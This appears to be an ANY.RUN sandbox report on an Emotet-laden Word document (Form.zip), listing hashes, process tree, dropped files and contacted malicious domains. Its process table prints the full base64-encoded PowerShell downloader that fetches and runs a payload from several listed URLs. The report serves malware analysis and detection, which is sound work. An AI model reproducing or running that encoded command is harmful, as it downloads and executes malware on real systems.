analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Form.zip

Full analysis: https://app.any.run/tasks/235eba94-8c94-4243-a53d-13bd8f07498c
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: October 19, 2020, 20:21:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet-doc
emotet
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract
MD5:

F4026CE2EE6BD4659295EFA58EA0CAA1

SHA1:

2205F002768AC3530A10D7000229B394E7469F6F

SHA256:

146E171CA71E1C6A225621CBDBF244BA57CB7BBB6F0647E6F7F9CF3A5F8FA6A3

SSDEEP:

1536:aCwqlhG+TLBtQH+squkV+lqhY8xu/aJ7yPKf4:aCdlhGcLzQH+b6UBuSAn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops known malicious document

      • WinRAR.exe (PID: 2452)

    • Application was dropped or rewritten from another process

      • T1_1hl2u.exe (PID: 1532)
      • elsTrans.exe (PID: 692)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • T1_1hl2u.exe (PID: 1532)
      • POwersheLL.exe (PID: 2404)

    • Starts itself from another location

      • T1_1hl2u.exe (PID: 1532)

    • Executed via WMI

      • POwersheLL.exe (PID: 2404)

    • PowerShell script executed

      • POwersheLL.exe (PID: 2404)

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 2452)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 2404)

  • INFO

    • Reads settings of System Certificates

      • POwersheLL.exe (PID: 2404)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1760)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1760)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: Form.doc
ZipUncompressedSize: 130575
ZipCompressedSize: 65642
ZipCRC: 0xd8bf766c
ZipModifyDate: 2020:10:14 17:51:03
ZipCompression: Unknown (99)
ZipBitFlag: 0x0003
ZipRequiredVersion: 51
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
5
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs winword.exe no specs powershell.exe t1_1hl2u.exe elstrans.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2452"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Form.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
1760"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb2452.23997\Form.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2404POwersheLL -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBwAHIATwBGAGkAbABlAFwAWgBkADUANQAzAEMATABcAEoATABGADcASQBBAHIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAEkAVABgAHkAYABwAHIATwBgAFQATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUQB6ADEAeQB5ADAAeAAgAD0AIAAoACgAJwBUACcAKwAnADEAXwAnACkAKwAnADEAJwArACgAJwBoAGwAMgAnACsAJwB1ACcAKQApADsAJABRAGwAbQA0ADIANABwAD0AKAAnAE4AJwArACgAJwB3ADAAJwArACcAMQB1ACcAKQArACcAZgA2ACcAKQA7ACQAUAA3AGkAXwA1AGIAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBaACcAKwAoACcAZAA1ACcAKwAnADUAJwApACsAJwAzAGMAJwArACcAbAB7ACcAKwAnADAAfQAnACsAJwBKAGwAZgA3AGkAYQByAHsAMAB9ACcAKQAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAegAxAHkAeQAwAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABZAHcAbgA5AG8AZwByAD0AKAAnAE4AZQAnACsAJwB0ACcAKwAoACcAYgAyACcAKwAnAGIAZgAnACkAKQA7ACQAVABrAGUAMgAyAHIAYQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQASAB1AGYANgBrAGQANQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHMAYQB2AGUAJwArACcAdABoAGUAJwApACsAKAAnAGIAJwArACcAbwBvAG0AJwArACcALgBjAG8AJwArACcAbQAvAGEAJwApACsAKAAnAGQAJwArACcAbQAnACsAJwBpAG4AJwArACcAXwBhAGMAYwBlAHMAcwAvAHgAJwArACcAaAAnACkAKwAnAHQALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBkAGEAawB3AGEAJwArACcAaAB3ACcAKQArACgAJwBpAHMAJwArACcAYQB0ACcAKQArACcAYQAuACcAKwAoACcAbgAnACsAJwBlAHQALwB3ACcAKQArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvACcAKwAnAGMAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwBwAG8AcAAnACsAJwBjAG8AcgBuAHYAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3ACcAKwAnAHAALQBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1AGQAZQBzAC8ASwBIACcAKwAnAEsAJwApACsAJwBYACcAKwAoACcALwAqAGgAdAB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBkAHUAcwAnACkAKwAoACcAaQAnACsAJwB0AHMAZQByACcAKQArACcAdgBlACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAZwBlACcAKwAoACcAdAAnACsAJwBoAGkAdABzACcAKQArACgAJwAvAG8AMwAnACsAJwBBACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGEAcwBjAC0AJwArACcAawAnACkAKwAoACcAbAAuACcAKwAnAGMAbwBtAC8AdgAyACcAKwAnAC8AWgB0AGYALwAnACsAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGcAYQAnACsAJwBhAHMAaAAnACkAKwAoACcAYQAnACsAJwBhAG4ALgAnACkAKwAoACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAE8AJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBuACcAKQArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAaQBuAHYALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHMAaQB0AGUAJwArACcALwBjAEwARABPACcAKQArACgAJwBKAEYAJwArACcASQAvACcAKQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABMAGcAMwBiAHYAOQBlACkAOwAkAFIAZwAyADYAdQBkAHIAPQAoACgAJwBTACcAKwAnAGgAcABqAGoAJwApACsAJwA5AGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA1AHAAdgBkAHkAOQAgAGkAbgAgACQASAB1AGYANgBrAGQANQApAHsAdAByAHkAewAkAFQAawBlADIAMgByAGEALgAiAEQATwB3AG4AYABsAGAATwBBAEQARgBgAGkATABFACIAKAAkAFYANQBwAHYAZAB5ADkALAAgACQAUAA3AGkAXwA1AGIAZQApADsAJABEAHQAagB6AG8AdwBfAD0AKAAnAFYAJwArACcAaQBrACcAKwAoACcAeAAnACsAJwBqAG8AMAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABQADcAaQBfADUAYgBlACkALgAiAEwAYABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkAMAA5ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUAA3AGkAXwA1AGIAZQApADsAJABDAGIAbgBvAGEAeAA2AD0AKAAnAFQAaQAnACsAJwBoACcAKwAoACcAMwBoADUAJwArACcAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgA3AGgAMwBxAHIAYgA9ACgAKAAnAEgAYQBsACcAKwAnADQAJwApACsAJwA1AG4AJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkANABoADgANQBmAGYAPQAoACcASwB1ACcAKwAnAHgAJwArACgAJwBvADQAJwArACcAegB3ACcAKQApAA== C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1532"C:\Users\admin\Zd553cl\Jlf7iar\T1_1hl2u.exe" C:\Users\admin\Zd553cl\Jlf7iar\T1_1hl2u.exe
POwersheLL.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
692"C:\Users\admin\AppData\Local\upnphost\elsTrans.exe"C:\Users\admin\AppData\Local\upnphost\elsTrans.exe—T1_1hl2u.exe
User:
admin
Company:
TODO: <Company name>
Integrity Level:
MEDIUM
Description:
TODO: <File description>
Version:
1.0.0.1
Total events
2 455
Read events
1 939
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
1760WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE91C.tmp.cvr —
MD5:—
SHA256:—
2404POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4LDZMOIJMSKXHGTRU26X.temp —
MD5:—
SHA256:—
2404POwersheLL.exeC:\Users\admin\Zd553cl\Jlf7iar\T1_1hl2u.exe —
MD5:—
SHA256:—
2404POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2df3fa.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
1760WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Rar$DIb2452.23997\~$Form.docpgc
MD5:1C60F984F11290B9E15CF3D69733C9FA
SHA256:13FCA718435DBF570677F2213DE9B05EE4CBB5C5CDD3D9A8F9797B673629B4EF
2452WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb2452.23997\Form.docdocument
MD5:7F90F6E3385493472B3652837E20C719
SHA256:8953F2080A89C02DB800018674BC763DDC73022CA7D77AD2B3295CC6C1822CA6
1760WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:762FD5DB58F0B2052A906182FBE8D368
SHA256:A6153CB273557573113A98B94A7DE055B945A6BF1C4E258D8BE1E945D7C8146C
1532T1_1hl2u.exeC:\Users\admin\AppData\Local\upnphost\elsTrans.exeexecutable
MD5:0D1D3B08D1D9C6EA65DC0476BB02CCB6
SHA256:CEA3714282B282CD4B1655A8C9A6C26C11B5131158DC90B11838161A3304E202
2404POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
1760WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:5AF962513C63B093D38952E99BE0A79A
SHA256:A764EAB09779AE7B6B94A453DFE2DE83C4F602626A06A86F19641B05ECC165C9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2404
POwersheLL.exe
GET
404
205.186.175.166:80
http://savetheboom.com/admin_access/xht/
US
html
287 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2404
POwersheLL.exe
103.29.215.207:443
dakwahwisata.net
Sentra Niaga Solusindo, PT.
ID
suspicious
2404
POwersheLL.exe
205.186.175.166:80
savetheboom.com
Media Temple, Inc.
US
suspicious
2404
POwersheLL.exe
172.67.155.191:443
popcornv.com
—
US
unknown
2404
POwersheLL.exe
119.59.125.211:443
dusitserve.com
453 Ladplacout Jorakhaebua
TH
unknown

DNS requests

Domain
IP
Reputation
savetheboom.com
  • 205.186.175.166
suspicious
dakwahwisata.net
  • 103.29.215.207
suspicious
popcornv.com
  • 172.67.155.191
  • 104.18.61.239
  • 104.18.60.239
unknown
dusitserve.com
  • 119.59.125.211
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Form.zip